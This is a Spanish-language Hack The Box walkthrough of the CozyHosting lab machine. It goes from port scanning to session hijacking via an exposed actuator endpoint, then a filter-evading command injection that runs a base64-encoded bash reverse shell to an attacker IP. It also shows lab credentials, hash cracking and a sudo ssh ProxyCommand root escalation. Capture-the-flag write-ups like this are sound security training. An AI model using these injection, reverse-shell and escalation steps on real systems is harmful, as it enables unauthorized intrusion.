🟩HTB - CozyHosting
https://app.hackthebox.com/machines/CozyHosting

Información General
Nombre de la Máquina: CozyHosting
IP de la Máquina: 10.129.229.88
Sistema Operativo: Linux
Dificultad: Easy
Fecha de Publicación: 02 sep 2023
Enumeration
Ping para obtener ruta de retorno
Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R
para incluir la ruta de retorno:
ping -c 1 10.129.229.88 -R

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p-
para escanear todos los puertos, --open
para mostrar solo los puertos abiertos, -sS
para un escaneo de tipo TCP SYN, --min-rate 5000
para establecer la velocidad mínima de paquetes y -vvv
para un nivel de verbosidad alto. Además, utilizamos -n
para desactivar la resolución de DNS, -Pn
para no realizar el escaneo de ping, y -oG allPorts
para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.88 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV
para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__
(reemplazando __PORTS__
con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted
:
sudo nmap -sCV -p22,80 10.129.229.88 -oN targeted

Modificando /etc/hosts
Para añadir la entrada "10.129.229.88 cozyhosting.htb" al archivo /etc/hosts
, puedes usar el siguiente comando en la terminal:
echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
Explorando CozyHosting.htb

Directory Bruteforce con Dirsearch
dirsearch -u cozyhosting.htb

Una de ellas me es particularmente interesante: /actuator/sessions/

Al parecer esta es la sesiòn de "kanderson", el cual espero que tenga privilegios de administrador. Lo que intento hacer es modificar el valor por el de kanderson.

Este valor va cambiando así que atento ahí.
Acceso al panel de administración

En el panel podemos encontrar "Cozy Scanner", jugando con el me encuentro con errores.


Creamos nuestro payload en base64
echo "bash -i >& /dev/tcp/10.10.15.21/7777 0>&1" | base64 -w 0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMS83Nzc3IDA+JjEK%
;echo${IFS%??}"<base64 payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMS83Nzc3IDA+JjEK%"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
Explotando y obteniendo reverse shell
Inyectamos el payload y le hacemos "URL ENCODE", luego lo enviamos.


script /dev/null -c /bin/bash
export TERM=xterm
stty raw -echo; fg
Reviso y el equipo tiene python3, así que inicio un servidor para poder descargar cloudhosting-0.0.1.jar
python3 -m http.server 8888
curl 10.129.229.88:8888/cloudhosting-0.0.1.jar -o cloud.jar


psql -h 127.0.0.1 -U postgres
Vg&nvzAQ7XxR
\c cozyhosting
\d
select * from users;

John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

SSH como Josh
ssh josh@10.129.229.88
manchesterunited


Privilege Escalation (GTFO Bins)
sudo -l
manchesterunited


sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x


Última actualización
¿Te fue útil?